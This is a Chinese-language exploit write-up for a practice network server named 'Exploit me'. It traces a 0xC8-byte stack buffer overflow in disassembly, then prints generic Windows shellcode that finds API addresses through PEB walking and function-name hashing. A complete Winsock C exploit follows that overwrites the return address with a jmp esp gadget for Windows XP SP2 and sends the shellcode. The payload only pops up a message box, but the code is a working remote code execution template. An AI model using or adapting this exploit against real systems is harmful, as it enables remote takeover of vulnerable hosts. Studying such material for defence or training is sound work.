漏洞描述:
问题出现在这个函数
0040124B  |> \8D5424 34     |lea     edx, dword ptr [esp+34]
0040124F  |.  52            |push    edx //收到的数据
00401250  |.  E8 ABFDFFFF   |call    00401000
跟进去发现
00401000  /$  81EC C8000000 sub     esp, 0C8 //分配的0xC8字节的堆栈空间,当传入的数据长度大于0xC8的时候,就会造成堆栈溢出,覆盖这个函数返回地址。
00401006  |.  83C9 FF       or      ecx, FFFFFFFF
00401009  |.  33C0          xor     eax, eax
0040100B  |.  8D5424 00     lea     edx, dword ptr [esp]
0040100F  |.  56            push    esi
00401010  |.  57            push    edi
00401011  |.  8BBC24 D40000>mov     edi, dword ptr [esp+D4]
00401018  |.  68 4C904000   push    0040904C                         ;  ASCII "********************"
0040101D  |.  F2:AE         repne   scas byte ptr es:[edi]
0040101F  |.  F7D1          not     ecx
00401021  |.  2BF9          sub     edi, ecx
00401023  |.  8BC1          mov     eax, ecx
00401025  |.  8BF7          mov     esi, edi
00401027  |.  8BFA          mov     edi, edx
00401029  |.  C1E9 02       shr     ecx, 2
0040102C  |.  F3:A5         rep     movs dword ptr es:[edi], dword p>//这儿是进行传入的数据写入本函数的堆栈,超过0xC8个字节就会造成溢出。
0040102E  |.  8BC8          mov     ecx, eax
00401030  |.  83E1 03       and     ecx, 3
00401033  |.  F3:A4         rep     movs byte ptr es:[edi], byte ptr>
00401035  |.  B9 689A4000   mov     ecx, 00409A68
所以我们可以在0xC8写入我们的jmp esp的地址,后面跟上我们构造的shellcode,这样通过执行jmp esp后就是执行我们构造的shellcode。


Shellcode来自于修改www.hick.org的代码,

简单说一下我改造后的shellcode的功能,这是一个通用的弹出一个messagebox的窗口,
通过PEB的方式找到kernel32.dll的基址,再通过计算函数名的HASH值,到kernel32.dll的导出表找出对应的函数的地址,我要找的函数有LoadLibraryA,GetModuleHandleA,ExitProcess,要用GetModuleHandleA是因为查询该进程是否装载了动态库user32.dll,如果装载了就不用LoadLibraryA装载了user32.dll了,不然会出错的,通过GetModuleHandleA可以找出已经装载的user32.dll库的基址,然后通过MessageBoxA的HASH值找到user32.dll导出表中的MessageBoxA函数地址。执行MessageBoxA弹出窗口后,利用ExitProcess退出程序。
  __asm
  {
    MsgPop:
      jmp startup_bnc                 // Jump to the startup bounce point
#include "generic.c"
  startup_bnc:
    jmp startup                             // Jump to the real startup
    resolve_symbols_for_dll:
      lodsd                                // Load the current dword from esi into eax
    push eax                 // Push the hash as the second argument to find_function
    push edx               // Push the base address of the current dll being loaded from
    call find_function        // Call find_function
      mov  [edi], eax        // Store the return address in the current output buffer pointer
  add  esp, 0x08                     // Restore eight bytes to the stack.
  add  edi, 0x04                // Add 4 bytes to the output buffer to move to the next slot
  cmp  esi, ecx                        // Have we reached the end?
  jne  resolve_symbols_for_dll              // If not, continue loading
  resolve_symbols_for_dll_finished:
      ret                                       // Return to the caller
    kernel32_symbol_hashes:
    EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA        [0x04]
    EMIT_4_LITTLE_ENDIAN(0x04,0x49,0x32,0xD3) //GetModuleHandleA
    EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess         [0x08]
    ws2_32_symbol_hashes:
    EMIT_4_LITTLE_ENDIAN(0xA8,0xA2,0x4D,0xBC) //MessageBoxA        [0x0c]
    startup:
      sub  esp, 0x60                        // Allocate 0x60 bytes of stack space
      mov  ebp, esp                        // Use ebp as the frame pointer
      jmp  get_absolute_address_forward         // Jump forward past the middle
    get_absolute_address_middle:
  jmp  get_absolute_address_end // Jump to the end now that we have our VMA on the stack
    get_absolute_address_forward:
      call get_absolute_address_middle          // Call to the middle to push the VMA of 'pop esi' onto the stack
    get_absolute_address_end:
      pop  esi                                  // Pop the return address from the stack into esi

      call find_kernel32                        // Find the kernel32.dll base address through whatever means
      mov  edx, eax                   // Save the kernel32.dll base address in edx
  resolve_kernel32_symbols:
      sub  esi, 0x1e                   // Offset esi 0x36 bytes back from 'pop esi'
    lea  edi, [ebp + 0x04]                    // Set edi to the start of our output buffer
      mov  ecx, esi                     // Set ecx to the address of the first hash
      add  ecx, 0x0c           // Set the stop point to the first hash address + 0x10
      call resolve_symbols_for_dll          // Resolve all the kernel32.dll symbols
      xor  eax, eax                             // Zero eax
      mov  ax, 0x3233                     // Set the low order bytes of eax to '32'
      push eax                                  // Push '32\0\0'
      push 0x72657375                           // Push 'user'
      mov  ebx, esp                 // Save the pointer to the 'user32' string in ebx
      push ecx                                  // Save ecx so that it does not get clobbered
      push edx                        // Save edx so that it does not get clobbered
      push ebx                      // Push the 'user32' string pointer onto the stack
      call [ebp + 0x08]     
            pop  edx                                  // Restore edx
      pop  ecx  
      test eax,eax
      jne IsLoaded

    resolve_user32_symbols:
            add ecx,0x04
      xor  eax, eax                             // Zero eax
      mov  ax, 0x3233                    // Set the low order bytes of eax to '32'
      push eax                                  // Push '32\0\0'
      push 0x72657375                           // Push 'user'
      mov  ebx, esp                // Save the pointer to the 'user32' string in ebx
      push ecx                        // Save ecx so that it does not get clobbered
      push edx                        // Save edx so that it does not get clobbered
      push ebx                      // Push the 'user32' string pointer onto the stack
      call [ebp + 0x04]                         // Call LoadLibraryA
      pop  edx                                  // Restore edx
      pop  ecx                           // Restore ecx
      mov  edx, eax                    // Set edx to the base address of user32.dll
      call resolve_symbols_for_dll              // Resolve all the user32.dll symbols
        
MessageBox_xee:
    
      xor ebx,ebx
      push ebx

      push 0x65656578 //xeee.
      
            mov eax,esp
      push ebx
      push eax
      push eax
      push ebx
      call [ebp+0x10] //MessageBox(NULL,”xeee”,”xeee”,MB_OK);
         

    exit_process:
      call [ebp + 0x0c]                         // Call ExitProcess

IsLoaded:     
      add ecx,0x04
             mov edx,eax
      call resolve_symbols_for_dll
      jmp MessageBox_xee
  }

这是一个通用的95/98/ME/NT/2K/XP/2003的弹出窗口的shellcode,
因为它是动态的找出函数的地址,而不是平台依赖的硬编码,所以它是非常稳定的shellcode.

我的exploit
#include <stdio.h>
#include <WinSock2.h>
#pragma comment (lib,"ws2_32")
unsigned char uszShellcode[] ={
 0xEB,0x70,0x56,0x33,0xC0,0x64,0x8B,0x40,0x30,0x85,0xC0,0x78,0x0C,0x8B,0x40,0x0C
,0x8B,0x70,0x1C,0xAD,0x8B,0x40,0x08,0xEB,0x09,0x8B,0x40,0x34,0x8D,0x40,0x7C,0x8B
,0x40,0x3C,0x5E,0xC3,0x60,0x8B,0x6C,0x24,0x24,0x8B,0x45,0x3C,0x8B,0x54,0x05,0x78
,0x03,0xD5,0x8B,0x4A,0x18,0x8B,0x5A,0x20,0x03,0xDD,0xE3,0x34,0x49,0x8B,0x34,0x8B
,0x03,0xF5,0x33,0xFF,0x33,0xC0,0xFC,0xAC,0x84,0xC0,0x74,0x07,0xC1,0xCF,0x0D,0x03
,0xF8,0xEB,0xF4,0x3B,0x7C,0x24,0x28,0x75,0xE1,0x8B,0x5A,0x24,0x03,0xDD,0x66,0x8B
,0x0C,0x4B,0x8B,0x5A,0x1C,0x03,0xDD,0x8B,0x04,0x8B,0x03,0xC5,0x89,0x44,0x24,0x1C
,0x61,0xC3,0xEB,0x25,0xAD,0x50,0x52,0xE8,0xA8,0xFF,0xFF,0xFF,0x89,0x07,0x83,0xC4
,0x08,0x83,0xC7,0x04,0x3B,0xF1,0x75,0xEC,0xC3,0x8E,0x4E,0x0E,0xEC,0x04,0x49,0x32
,0xD3,0x7E,0xD8,0xE2,0x73,0xA8,0xA2,0x4D,0xBC,0x83,0xEC,0x60,0x8B,0xEC,0xEB,0x02
,0xEB,0x05,0xE8,0xF9,0xFF,0xFF,0xFF,0x5E,0xE8,0x55,0xFF,0xFF,0xFF,0x8B,0xD0,0x83
,0xEE,0x1E,0x8D,0x7D,0x04,0x8B,0xCE,0x83,0xC1,0x0C,0xE8,0xB5,0xFF,0xFF,0xFF,0x33
,0xC0,0x66,0xB8,0x33,0x32,0x50,0x68,0x75,0x73,0x65,0x72,0x8B,0xDC,0x51,0x52,0x53
,0xFF,0x55,0x08,0x5A,0x59,0x85,0xC0,0x75,0x34,0x83,0xC1,0x04,0x33,0xC0,0x66,0xB8
,0x33,0x32,0x50,0x68,0x75,0x73,0x65,0x72,0x8B,0xDC,0x51,0x52,0x53,0xFF,0x55,0x04
,0x5A,0x59,0x8B,0xD0,0xE8,0x7B,0xFF,0xFF,0xFF,0x33,0xDB,0x53,0x68,0x78,0x65,0x65
,0x65,0x8B,0xC4,0x53,0x50,0x50,0x53,0xFF,0x55,0x10,0xFF,0x55,0x0C,0x83,0xC1,0x04
,0x8B,0xD0,0xE8,0x5D,0xFF,0xFF,0xFF,0xEB,0xE0,0xCC};
 //Universal shellcode for MessageBoxA
 //MessageBox(NULL,"xeee","xeee",MB_OK);

unsigned char uszJmps[] =
/* 0x77D5B0E0 - jmp esp user32.dll (Windows XP SP2) */
"\xE0\xB0\xD5\x77"
;

void usage(){
  printf("\n\t\tExploit me Stack Overflow\n"
    "\t\t\t(c) 2007 by xee\n\n"
    "usage: exploit.exe <ip> <port>\n");
}
int main( int argc, char **argv ) {
  WSADATA wsaData;
  SOCKET sConnect;
  SOCKADDR_IN sockAddr;
  char szRecvBuf[4096];
  unsigned char uszPacket[4096];
  int nRet;
  
  if ( argc < 3 ) {
    usage();
    return -1;
  }
  
  if ( WSAStartup( MAKEWORD( 2, 0 ), &wsaData ) != NO_ERROR ) {
    printf("[-] Unable to startup winsock\n");
    return -1;
  }
  
  sConnect = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  if ( sConnect == INVALID_SOCKET ) {
    printf("[-] Invalid socket\n");
    return -1;
  }
  
  sockAddr.sin_family = AF_INET;
  sockAddr.sin_addr.s_addr = inet_addr( argv[1] );
  sockAddr.sin_port = htons( atoi( argv[2] ) );
  
  printf("[+] Connecting to %s:%s\n", argv[1], argv[2] );
  nRet = connect( sConnect, (SOCKADDR *)&sockAddr, sizeof( sockAddr ) );
  if ( nRet == SOCKET_ERROR ) {
    closesocket( sConnect );
    printf("[-] Cannot connect to server\n");
    return -1;
  }

  memset(uszPacket, 0x2e, sizeof(uszPacket)-1 );
  memcpy(uszPacket+0xc8,uszJmps,sizeof(uszJmps)-1);//rewrite return address to uszJmps
  memcpy(uszPacket+0xcc,uszShellcode,sizeof(uszShellcode)-1); //write the Msg Shellcode
  
  
  printf("[+] Sending overflow packet...\n");
  nRet = send( sConnect, (const char *)uszPacket, sizeof(uszPacket)-1, 0 );
  if ( nRet  == SOCKET_ERROR ) {
    closesocket( sConnect );
    printf("[-] Cannot send\n");
    return -1;
  }
  


  
  
  nRet = send( sConnect, (const char *)uszPacket, sizeof( uszPacket ), 0 );
  if ( nRet == SOCKET_ERROR ) {
    closesocket( sConnect );
    printf("[-] Cannot send\n");
    return -1;
  }
  
  printf("[+] Pop up a message box about xeee :)\n");
    Sleep(1000);
  closesocket( sConnect );
  return 0;
}